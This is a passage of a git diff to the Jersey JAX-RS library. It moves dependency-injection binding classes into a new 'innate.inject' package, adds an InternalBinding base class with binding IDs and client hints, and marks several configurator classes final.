+    CLIENT_CHUNKED_INPUT_READER(2105), // MBR
+    CLIENT_PARAMETER_UPDATER_PROVIDER(2011),
+    CLIENT_EXECUTOR_SERVICE_PROVIDER(2020),
+    CLIENT_SCHEDULED_EXECUTOR_SERVICE_PROVIDER(2021),
+    CLIENT_BYTE_ARRAY_PROVIDER(2030), // MBW & MBR
+    CLIENT_FILE_PROVIDER(2031), // MBW & MBR
+    CLIENT_PATH_PROVIDER(2040), // MBW & MBR
+    CLIENT_MULTIVALUED_MAP_PROVIDER(2032), // MBW & MBR
+    CLIENT_FORM_PROVIDER(2033), // MBW & MBR
+    CLIENT_INPUT_STREAM_PROVIDER(2034), // MBW & MBR
+    CLIENT_BASIC_TYPES_PROVIDER(2035), // MBW & MBR
+    CLIENT_READER_PROVIDER(2036), // MBW & MBR
+    CLIENT_STRING_MESSAGE_PROVIDER(2037), // MBW & MBR
+    CLIENT_ENUM_MESSAGE_PROVIDER(2038), // MBW & MBR
+    CLIENT_STREAMING_OUTPUT_PROVIDER(2039), // MBW
+    CLIENT_CACHE_CONTROL_PROVIDER(2050), // HeaderDelegateProvider
+    CLIENT_COOKIE_PROVIDER(2051), // HeaderDelegateProvider
+    CLIENT_DATE_PROVIDER(2052), // HeaderDelegateProvider
+    CLIENT_ENTITY_TAG_PROVIDER(2053), // HeaderDelegateProvider
+    CLIENT_LINK_PROVIDER(2054), // HeaderDelegateProvider
+    CLIENT_LOCALE_PROVIDER(2055), // HeaderDelegateProvider
+    CLIENT_MEDIA_TYPE_PROVIDER(2056), // HeaderDelegateProvider
+    CLIENT_NEW_COOKIE_PROVIDER(2057), // HeaderDelegateProvider
+    CLIENT_STRING_HEADER_PROVIDER(2058), // HeaderDelegateProvider
+    CLIENT_URI_PROVIDER(2059), // HeaderDelegateProvider
+    CLIENT_DATA_SOURCE_PROVIDER(2070), // MBW & MBR
+    CLIENT_DOM_SOURCE_READER(2071), // MBR
+    CLIENT_RENDERED_IMAGE_PROVIDER(2072), // MBW & MBR
+    CLIENT_SAX_SOURCE_READER(2073), // MBR
+    CLIENT_SOURCE_WRITER(2074), // MBW
+    CLIENT_STREAM_SOURCE_READER(2075), // MBR
+
+    SERVER_AGGREGATED_PROVIDER(3010),
+    SERVER_MESSAGE_BODY_WORKERS(3020),
+    SERVER_BYTE_ARRAY_PROVIDER(3030), // MBW & MBR
+    SERVER_FILE_PROVIDER(3031), // MBW & MBR
+    SERVER_PATH_PROVIDER(3040), // MBW & MBR
+    SERVER_MULTIVALUED_MAP_PROVIDER(3032), // MBW & MBR
+    SERVER_FORM_PROVIDER(3033), // MBW & MBR
+    SERVER_INPUT_STREAM_PROVIDER(3034), // MBW & MBR
+    SERVER_BASIC_TYPES_PROVIDER(3035), // MBW & MBR
+    SERVER_READER_PROVIDER(3036), // MBW & MBR
+    SERVER_STRING_MESSAGE_PROVIDER(3037), // MBW & MBR
+    SERVER_ENUM_MESSAGE_PROVIDER(3038), // MBW & MBR
+    SERVER_STREAMING_OUTPUT_PROVIDER(3039), // MBW
+    SERVER_CACHE_CONTROL_PROVIDER(3050), // HeaderDelegateProvider
+    SERVER_COOKIE_PROVIDER(3051), // HeaderDelegateProvider
+    SERVER_DATE_PROVIDER(3052), // HeaderDelegateProvider
+    SERVER_ENTITY_TAG_PROVIDER(3053), // HeaderDelegateProvider
+    SERVER_LINK_PROVIDER(3054), // HeaderDelegateProvider
+    SERVER_LOCALE_PROVIDER(3055), // HeaderDelegateProvider
+    SERVER_MEDIA_TYPE_PROVIDER(3056), // HeaderDelegateProvider
+    SERVER_NEW_COOKIE_PROVIDER(3057), // HeaderDelegateProvider
+    SERVER_STRING_HEADER_PROVIDER(3058), // HeaderDelegateProvider
+    SERVER_URI_PROVIDER(3059), // HeaderDelegateProvider
+
+    SERVER_DATA_SOURCE_PROVIDER(3070), // MBW & MBR
+    SERVER_DOM_SOURCE_READER(3071), // MBR
+    SERVER_RENDERED_IMAGE_PROVIDER(3072), // MBW & MBR
+    SERVER_SAX_SOURCE_READER(3073), // MBR
+    SERVER_SOURCE_WRITER(3074), // MBW
+    SERVER_STREAM_SOURCE_READER(3075), // MBR
+    SERVER_MULTIVALUED_PARAMETER_EXTRACTOR_PROVIDER(3111),
+    SERVER_RESOURCE_CONTEXT(3112),
+    SERVER_ASYNC_RESPONSE_VALUE_PARAM_PROVIDER(3120),
+    SERVER_COOKIE_VALUE_PARAM_PROVIDER(3121),
+    SERVER_FORM_VALUE_PARAM_PROVIDER(3122),
+    SERVER_HEADER_VALUE_PARAM_PROVIDER(3123),
+    SERVER_MATRIX_VALUE_PARAM_PROVIDER(3124),
+    SERVER_PATH_VALUE_PARAM_PROVIDER(3125),
+    SERVER_QUERY_VALUE_PARAM_PROVIDER(3126),
+    SERVER_WEB_TARGET_VALUE_PARAM_PROVIDER(3127),
+    SERVER_BEAN_VALUE_PARAM_PROVIDER(3128),
+    SERVER_ENTITY_VALUE_PARAM_PROVIDER(3129),
+    SERVER_CONTEXT_VALUE_PARAM_PROVIDER(3130),
+    SERVER_ASYNC_RESOLVER(3140),
+    SERVER_COOKIE_RESOLVER(3141),
+    SERVER_FORM_RESOLVER(3142),
+    SERVER_HEADER_RESOLVER(3143),
+    SERVER_MATRIX_RESOLVER(3144),
+    SERVER_PATH_RESOLVER(3145),
+    SERVER_QUERY_RESOLVER(3146),
+    SERVER_WEB_TARGET_RESOLVER(3147),
+    SERVER_BEAN_RESOLVER(3148),
+    SERVER_APPLICATION_HANDLER(3180),
+    SERVER_APPLICATION(3190),
+    SERVER_OPTIONS_METHOD_PROCESSOR(3201),
+
+    SERVLET_PERSISTANCE_UNIT_INJECTION_RESOLVER(4001),
+    SERVLET_FILTER_CONFIG(4002),
+    SERVLET_SERVLET_CONFIG(4003),
+    SERVLET_WEB_CONFIG(4004),
+    SERVLET_HTTP_SERVLET_REQUEST(4010),
+    SERVLET_HTTP_SERVLET_REQUEST_REF(4011),
+    SERVLET_HTTP_SERVLET_RESPONSE(4012),
+    SERVLET_HTTP_SERVLET_RESPONSE_REF(4013),
+    SERVLET_SERVLET_CONTEXT(4020),
+
+    GRIZZLY_REQUEST_REFERENCING_FACTORY(5001),
+    GRIZZLY_REQUEST(5002),
+    GRIZZLY_RESPONSE_REFERENCING_FACTORY(5003),
+    GRIZZLY_RESPONSE(5004);
+
+    private int id;
+
+    InjectionIds(int id) {
+        this.id = id;
+    }
+
+    public int id() {
+        return id;
+    }
+
+}
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/inject/InjectionResolverBinding.java b/core-common/src/main/java/org/glassfish/jersey/innate/inject/InjectionResolverBinding.java
similarity index 77%
rename from core-common/src/main/java/org/glassfish/jersey/internal/inject/InjectionResolverBinding.java
rename to core-common/src/main/java/org/glassfish/jersey/innate/inject/InjectionResolverBinding.java
index 44f8dee..ee11619 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/inject/InjectionResolverBinding.java
+++ b/core-common/src/main/java/org/glassfish/jersey/innate/inject/InjectionResolverBinding.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,14 +14,16 @@
  * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
  */
 
-package org.glassfish.jersey.internal.inject;
+package org.glassfish.jersey.innate.inject;
+
+import org.glassfish.jersey.internal.inject.InjectionResolver;
 
 /**
  * Class which has the fields containing the instance of {@link InjectionResolver} and its a concrete type.
  *
  * @param <T> type of the annotation which is served using th given injection resolver.
  */
-public class InjectionResolverBinding<T extends InjectionResolver> extends Binding<T, InjectionResolverBinding<T>> {
+public class InjectionResolverBinding<T extends InjectionResolver> extends InternalBinding<T, InjectionResolverBinding<T>> {
 
     private final T resolver;
 
@@ -42,4 +44,10 @@
     public T getResolver() {
         return resolver;
     }
+
+    @Override
+    public String toString() {
+        return resolver.getClass().getSimpleName() + " <- " + resolver.getClass().getSimpleName();
+
+    }
 }
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/inject/InstanceBinding.java b/core-common/src/main/java/org/glassfish/jersey/innate/inject/InstanceBinding.java
similarity index 82%
rename from core-common/src/main/java/org/glassfish/jersey/internal/inject/InstanceBinding.java
rename to core-common/src/main/java/org/glassfish/jersey/innate/inject/InstanceBinding.java
index af51072..c17040e 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/inject/InstanceBinding.java
+++ b/core-common/src/main/java/org/glassfish/jersey/innate/inject/InstanceBinding.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,7 +14,7 @@
  * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
  */
 
-package org.glassfish.jersey.internal.inject;
+package org.glassfish.jersey.innate.inject;
 
 import java.lang.reflect.Type;
 
@@ -24,7 +24,7 @@
  * @param <T> type of the bean described by this injection binding.
  * @author Petr Bouda
  */
-public class InstanceBinding<T> extends Binding<T, InstanceBinding<T>> {
+public class InstanceBinding<T> extends InternalBinding<T, InstanceBinding<T>> {
 
     private final T service;
 
@@ -59,4 +59,10 @@
     public T getService() {
         return service;
     }
+
+
+    @Override
+    public String toString() {
+        return contractsAsString() + " <- " + service.getClass().getSimpleName();
+    }
 }
diff --git a/core-common/src/main/java/org/glassfish/jersey/innate/inject/InternalBinder.java b/core-common/src/main/java/org/glassfish/jersey/innate/inject/InternalBinder.java
new file mode 100644
index 0000000..1bf3e33
--- /dev/null
+++ b/core-common/src/main/java/org/glassfish/jersey/innate/inject/InternalBinder.java
@@ -0,0 +1,89 @@
+/*
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.innate.inject;
+
+import java.lang.annotation.Annotation;
+import java.lang.reflect.Type;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.List;
+import java.util.Objects;
+import java.util.function.Supplier;
+import java.util.stream.Collectors;
+
+import jakarta.ws.rs.core.GenericType;
+
+import org.glassfish.jersey.internal.inject.Binder;
+import org.glassfish.jersey.internal.inject.Binding;
+import org.glassfish.jersey.internal.inject.InjectionResolver;
+
+/**
+ * Implementation of {@link Binder} interface dedicated to keep some level of code compatibility between previous HK2
+ * implementation and new DI SPI.
+ * <p>
+ * Currently, there are supported only bind method and more complicated method where HK2 interfaces are required were omitted.
+ *
+ * @author Petr Bouda
+ */
+public abstract class InternalBinder extends BlindBinder {
+
+    @Override
+    public <T> ClassBinding<T> bind(Class<T> serviceType) {
+        return (ClassBinding<T>) super.bind(serviceType);
+    }
+
+    @Override
+    public <T> ClassBinding<T> bindAsContract(Class<T> serviceType) {
+        return (ClassBinding<T>) super.bindAsContract(serviceType);
+    }
+
+    @Override
+    public <T> ClassBinding<T> bindAsContract(GenericType<T> serviceType) {
+        return (ClassBinding<T>) super.bindAsContract(serviceType);
+    }
+
+    @Override
+    public ClassBinding<Object> bindAsContract(Type serviceType) {
+        return (ClassBinding<Object>) super.bindAsContract(serviceType);
+    }
+
+    public <T> InstanceBinding<T> bind(T service) {
+        return (InstanceBinding<T>) super.bind(service);
+    }
+
+    @Override
+    public <T> SupplierClassBinding<T> bindFactory(
+            Class<? extends Supplier<T>> supplierType, Class<? extends Annotation> supplierScope) {
+        return (SupplierClassBinding<T>) super.bindFactory(supplierType, supplierScope);
+    }
+
+    @Override
+    public <T> SupplierClassBinding<T> bindFactory(Class<? extends Supplier<T>> supplierType) {
+        return (SupplierClassBinding<T>) super.bindFactory(supplierType);
+    }
+
+    @Override
+    public <T> SupplierInstanceBinding<T> bindFactory(Supplier<T> factory) {
+        return (SupplierInstanceBinding<T>) super.bindFactory(factory);
+    }
+
+    @Override
+    public <T extends InjectionResolver> InjectionResolverBinding<T> bind(T resolver) {
+        return (InjectionResolverBinding<T>) super.bind(resolver);
+    }
+}
diff --git a/core-common/src/main/java/org/glassfish/jersey/innate/inject/InternalBinding.java b/core-common/src/main/java/org/glassfish/jersey/innate/inject/InternalBinding.java
new file mode 100644
index 0000000..b517fbc
--- /dev/null
+++ b/core-common/src/main/java/org/glassfish/jersey/innate/inject/InternalBinding.java
@@ -0,0 +1,98 @@
+/*
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.innate.inject;
+
+import org.glassfish.jersey.Beta;
+
+import java.lang.reflect.ParameterizedType;
+import java.lang.reflect.Type;
+import java.util.Iterator;
+
+/**
+ * Abstract injection binding description of a bean.
+ *
+ * @param <T> type of the bean described by this injection binding.
+ * @param <D> concrete injection binding implementation type.
+ */
+@SuppressWarnings("unchecked")
+public abstract class InternalBinding<T, D extends InternalBinding> extends org.glassfish.jersey.internal.inject.Binding<T, D> {
+    private boolean forClient = false;
+    private long id = 0;
+
+    /**
+     * Get the hint of the bean that exists both on the client and the server
+     * @return the hint that this binding if for being injected on the client.
+     */
+    @Beta
+    public boolean isForClient() {
+        return forClient;
+    }
+
+    /**
+     * A hint whether the bean is for being injected using {@code @Inject} on the client side
+     * but there is also a bean with the same contract on the server, such as for {@code Configuration}.
+     *
+     * <p>Default is false.</p>
+     *
+     * @param forClient {@code true} when injectable for the same contract exists both on the client and server and
+     *                              this binding is for the client side.
+     * @return current instance.
+     */
+    @Beta
+    public D forClient(boolean forClient) {
+        this.forClient = forClient;
+        return (D) this;
+    }
+
+    /**
+     * The binding id used to match the binding in the pre-binding phase and in the binding phase.
+     * @param id the unique id.
+     * @return current instance.
+     */
+    @Beta
+    public D id(long id) {
+        // 1000 - 1999 Core-Common
+        // 2000 - 2999 Core-Client
+        // 3000 - 3999 Core-Server
+        this.id = id;
+        return (D) this;
+    }
+
+    public long getId() {
+        return id;
+    }
+
+    @Override
+    public String toString() {
+        return contractsAsString() + " <- " + getImplementationType().getSimpleName();
+    }
+
+    public String contractsAsString() {
+        StringBuilder sb = new StringBuilder();
+        Iterator<Type> it = getContracts().iterator();
+        while (it.hasNext()) {
+            Type next = it.next();
+            if (Class.class.isInstance(next)) {
+                sb.append(((Class) next).getSimpleName());
+            } else if (ParameterizedType.class.isInstance(next)) {
+                sb.append(next);
+            }
+        }
+        return sb.toString();
+    }
+
+}
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/inject/ProviderBinder.java b/core-common/src/main/java/org/glassfish/jersey/innate/inject/ProviderBinder.java
similarity index 95%
rename from core-common/src/main/java/org/glassfish/jersey/internal/inject/ProviderBinder.java
rename to core-common/src/main/java/org/glassfish/jersey/innate/inject/ProviderBinder.java
index d672b11..dc2768e 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/inject/ProviderBinder.java
+++ b/core-common/src/main/java/org/glassfish/jersey/innate/inject/ProviderBinder.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,13 +14,12 @@
  * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
  */
 
-package org.glassfish.jersey.internal.inject;
+package org.glassfish.jersey.innate.inject;
 
 import java.lang.annotation.Annotation;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.Collection;
-import java.util.Collections;
 import java.util.LinkedHashSet;
 import java.util.List;
 import java.util.Set;
@@ -32,6 +31,12 @@
 
 import jakarta.inject.Singleton;
 
+import org.glassfish.jersey.internal.inject.Binder;
+import org.glassfish.jersey.internal.inject.Custom;
+import org.glassfish.jersey.internal.inject.CustomAnnotationLiteral;
+import org.glassfish.jersey.internal.inject.InjectionManager;
+import org.glassfish.jersey.internal.inject.PerLookup;
+import org.glassfish.jersey.internal.inject.Providers;
 import org.glassfish.jersey.model.ContractProvider;
 import org.glassfish.jersey.model.internal.ComponentBag;
 import org.glassfish.jersey.spi.ComponentProvider;
@@ -84,7 +89,7 @@
 
     private static <T> Binder createInstanceBinder(T instance, ContractProvider model) {
 
-        return new AbstractBinder() {
+        return new InternalBinder() {
 
             @Override
             protected void configure() {
@@ -104,7 +109,7 @@
 
     private static Binder createClassBinder(ContractProvider model) {
 
-        return new AbstractBinder() {
+        return new InternalBinder() {
 
             @Override
             protected void configure() {
@@ -124,7 +129,7 @@
 
     private static Collection<Binder> createProviderBinders(Class<?> providerClass, ContractProvider model) {
         /* Create a Binder of the Provider with the concrete contract. */
-        Function<Class, Binder> binderFunction = contract -> new AbstractBinder() {
+        Function<Class, Binder> binderFunction = contract -> new InternalBinder() {
             @Override
             @SuppressWarnings("unchecked")
             protected void configure() {
@@ -161,7 +166,7 @@
 
     private static Collection<Binder> createProviderBinders(Object providerInstance, ContractProvider model) {
         /* Create a Binder of the Provider with the concrete contract. */
-        Function<Class, Binder> binderFunction = contract -> new AbstractBinder() {
+        Function<Class, Binder> binderFunction = contract -> new InternalBinder() {
             @Override
             @SuppressWarnings("unchecked")
             protected void configure() {
@@ -287,7 +292,7 @@
     @SuppressWarnings("unchecked")
     private static <T> Collection<Binder> createInstanceBinders(T instance) {
         Function<Class, Binder> binderFunction = contract ->
-                new AbstractBinder() {
+                new InternalBinder() {
                     @Override
                     protected void configure() {
                         bind(instance).to(contract).qualifiedBy(CustomAnnotationLiteral.INSTANCE);
@@ -385,7 +390,7 @@
         final Class<? extends Annotation> scope = getProviderScope(clazz);
 
         if (isResource) {
-            return new AbstractBinder() {
+            return new InternalBinder() {
                 @Override
                 protected void configure() {
                     ClassBinding<T> descriptor = bindAsContract(clazz).in(scope);
@@ -398,10 +403,10 @@
                 }
             };
         } else {
-            return new AbstractBinder() {
+            return new InternalBinder() {
                 @Override
                 protected void configure() {
-                    ClassBinding<T> builder = bind(clazz).in(scope).qualifiedBy(CustomAnnotationLiteral.INSTANCE);
+                    ClassBinding<T> builder = bind(clazz).in(scope).qualifiedBy(CustomAnnotationLiteral.INSTANCE).id(0);
                     Providers.getProviderContracts(clazz).forEach(contract -> builder.to((Class<? super T>) contract));
                 }
             };
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/ServiceFinderBinder.java b/core-common/src/main/java/org/glassfish/jersey/innate/inject/ServiceFinderBinder.java
similarity index 86%
rename from core-common/src/main/java/org/glassfish/jersey/internal/ServiceFinderBinder.java
rename to core-common/src/main/java/org/glassfish/jersey/innate/inject/ServiceFinderBinder.java
index 223d32b..fe0e8a0 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/ServiceFinderBinder.java
+++ b/core-common/src/main/java/org/glassfish/jersey/innate/inject/ServiceFinderBinder.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2011, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,13 +14,14 @@
  * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
  */
 
-package org.glassfish.jersey.internal;
+package org.glassfish.jersey.innate.inject;
 
 import java.util.Map;
 
 import jakarta.ws.rs.RuntimeType;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InternalBinder;
+import org.glassfish.jersey.internal.ServiceFinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.util.PropertiesHelper;
 
@@ -34,7 +35,7 @@
  * @author Pavel Bucek
  * @author Libor Kramolis
  */
-public class ServiceFinderBinder<T> extends AbstractBinder {
+public class ServiceFinderBinder<T> extends InternalBinder {
 
     private final Class<T> contract;
 
@@ -59,7 +60,7 @@
     protected void configure() {
         if (PropertiesHelper.isMetaInfServicesEnabled(applicationProperties, runtimeType)) {
             for (Class<T> t : ServiceFinder.find(contract, true).toClassArray()) {
-                bind(t).to(contract);
+                bind(t).to(contract).id(0);
             }
         }
     }
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/inject/SupplierClassBinding.java b/core-common/src/main/java/org/glassfish/jersey/innate/inject/SupplierClassBinding.java
similarity index 83%
rename from core-common/src/main/java/org/glassfish/jersey/internal/inject/SupplierClassBinding.java
rename to core-common/src/main/java/org/glassfish/jersey/innate/inject/SupplierClassBinding.java
index f07b4ff..3289caa 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/inject/SupplierClassBinding.java
+++ b/core-common/src/main/java/org/glassfish/jersey/innate/inject/SupplierClassBinding.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,7 +14,7 @@
  * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
  */
 
-package org.glassfish.jersey.internal.inject;
+package org.glassfish.jersey.innate.inject;
 
 import java.lang.annotation.Annotation;
 import java.util.function.Supplier;
@@ -25,7 +25,7 @@
  * @param <T> type of the bean described by this injection binding descriptor.
  * @author Petr Bouda
  */
-public class SupplierClassBinding<T> extends Binding<Supplier<T>, SupplierClassBinding<T>> {
+public class SupplierClassBinding<T> extends InternalBinding<Supplier<T>, SupplierClassBinding<T>> {
 
     private final Class<? extends Supplier<T>> supplierClass;
     private final Class<? extends Annotation> supplierScope;
@@ -58,4 +58,9 @@
     public Class<? extends Annotation> getSupplierScope() {
         return supplierScope;
     }
+
+    @Override
+    public String toString() {
+        return contractsAsString() + " <- " + supplierClass.getSimpleName();
+    }
 }
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/inject/SupplierInstanceBinding.java b/core-common/src/main/java/org/glassfish/jersey/innate/inject/SupplierInstanceBinding.java
similarity index 78%
rename from core-common/src/main/java/org/glassfish/jersey/internal/inject/SupplierInstanceBinding.java
rename to core-common/src/main/java/org/glassfish/jersey/innate/inject/SupplierInstanceBinding.java
index e3f6643..4b1cf70 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/inject/SupplierInstanceBinding.java
+++ b/core-common/src/main/java/org/glassfish/jersey/innate/inject/SupplierInstanceBinding.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,7 +14,7 @@
  * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
  */
 
-package org.glassfish.jersey.internal.inject;
+package org.glassfish.jersey.innate.inject;
 
 import java.util.function.Supplier;
 
@@ -24,7 +24,7 @@
  * @param <T> type of the bean described by this injection binding descriptor.
  * @author Petr Bouda
  */
-public class SupplierInstanceBinding<T> extends Binding<Supplier<T>, SupplierInstanceBinding<T>> {
+public class SupplierInstanceBinding<T> extends InternalBinding<Supplier<T>, SupplierInstanceBinding<T>> {
 
     private final Supplier<T> supplier;
 
@@ -45,4 +45,9 @@
     public Supplier<T> getSupplier() {
         return supplier;
     }
+
+    @Override
+    public String toString() {
+        return contractsAsString() + " <- " + supplier.get().getClass().getSimpleName();
+    }
 }
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/AutoDiscoverableConfigurator.java b/core-common/src/main/java/org/glassfish/jersey/internal/AutoDiscoverableConfigurator.java
index a3ba93d..944c1ce 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/AutoDiscoverableConfigurator.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/AutoDiscoverableConfigurator.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
 import jakarta.ws.rs.RuntimeType;
 import jakarta.ws.rs.core.Configuration;
 
-import org.glassfish.jersey.internal.inject.Bindings;
+import org.glassfish.jersey.innate.inject.Bindings;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.spi.AutoDiscoverable;
 
@@ -32,7 +32,7 @@
  *
  * @author Petr Bouda
  */
-public class AutoDiscoverableConfigurator extends AbstractServiceFinderConfigurator<AutoDiscoverable> {
+public final class AutoDiscoverableConfigurator extends AbstractServiceFinderConfigurator<AutoDiscoverable> {
 
     /**
      * Create a new configurator.
@@ -47,7 +47,7 @@
     public void init(InjectionManager injectionManager, BootstrapBag bootstrapBag) {
         Configuration configuration = bootstrapBag.getConfiguration();
         List<AutoDiscoverable> autoDiscoverables = loadImplementations(configuration.getProperties()).stream()
-                .peek(implClass -> injectionManager.register(Bindings.service(implClass).to(AutoDiscoverable.class)))
+                .peek(implClass -> injectionManager.register(Bindings.service(implClass).to(AutoDiscoverable.class).id(0)))
                 .map(injectionManager::createAndInitialize)
                 .collect(Collectors.toList());
 
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/ContextResolverFactory.java b/core-common/src/main/java/org/glassfish/jersey/internal/ContextResolverFactory.java
index 9c5bb7a..18ba7ed 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/ContextResolverFactory.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/ContextResolverFactory.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -24,12 +24,14 @@
 import java.util.concurrent.ConcurrentHashMap;
 
 import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.RuntimeType;
 import jakarta.ws.rs.core.MediaType;
 import jakarta.ws.rs.ext.ContextResolver;
 
-import org.glassfish.jersey.internal.inject.Bindings;
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.innate.inject.InjectionIds;
+import org.glassfish.jersey.innate.inject.InstanceBinding;
 import org.glassfish.jersey.internal.inject.InjectionManager;
-import org.glassfish.jersey.internal.inject.InstanceBinding;
 import org.glassfish.jersey.internal.util.ReflectionHelper;
 import org.glassfish.jersey.internal.util.ReflectionHelper.DeclaringClassInterfacePair;
 import org.glassfish.jersey.internal.util.collection.KeyComparatorHashMap;
@@ -43,7 +45,7 @@
  * @author Paul Sandoz
  * @author Marek Potociar
  */
-public class ContextResolverFactory implements ContextResolvers {
+public final class ContextResolverFactory implements ContextResolvers {
 
     /**
      * Configurator which initializes and register {@link ContextResolvers} instance into {@link InjectionManager} and
@@ -60,7 +62,9 @@
             contextResolverFactory = new ContextResolverFactory();
             InstanceBinding<ContextResolverFactory> binding =
                     Bindings.service(contextResolverFactory)
-                            .to(ContextResolvers.class);
+                            .to(ContextResolvers.class)
+                            .forClient(bootstrapBag.getConfiguration().getRuntimeType() == RuntimeType.CLIENT)
+                            .id(InjectionIds.COMMON_CONTEXT_RESOLVERS.id());;
             injectionManager.register(binding);
         }
 
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/DynamicFeatureConfigurator.java b/core-common/src/main/java/org/glassfish/jersey/internal/DynamicFeatureConfigurator.java
index 12eb78b..5ac5339 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/DynamicFeatureConfigurator.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/DynamicFeatureConfigurator.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -37,7 +37,7 @@
  * in the list of configurators due to same list of {@link org.glassfish.jersey.internal.spi.AutoDiscoverable}
  * used in the {@link BootstrapBag} to register discovered features.
  */
-public class DynamicFeatureConfigurator extends AbstractFeatureConfigurator<DynamicFeature> {
+public final class DynamicFeatureConfigurator extends AbstractFeatureConfigurator<DynamicFeature> {
 
     /**
      * Create a new configurator.
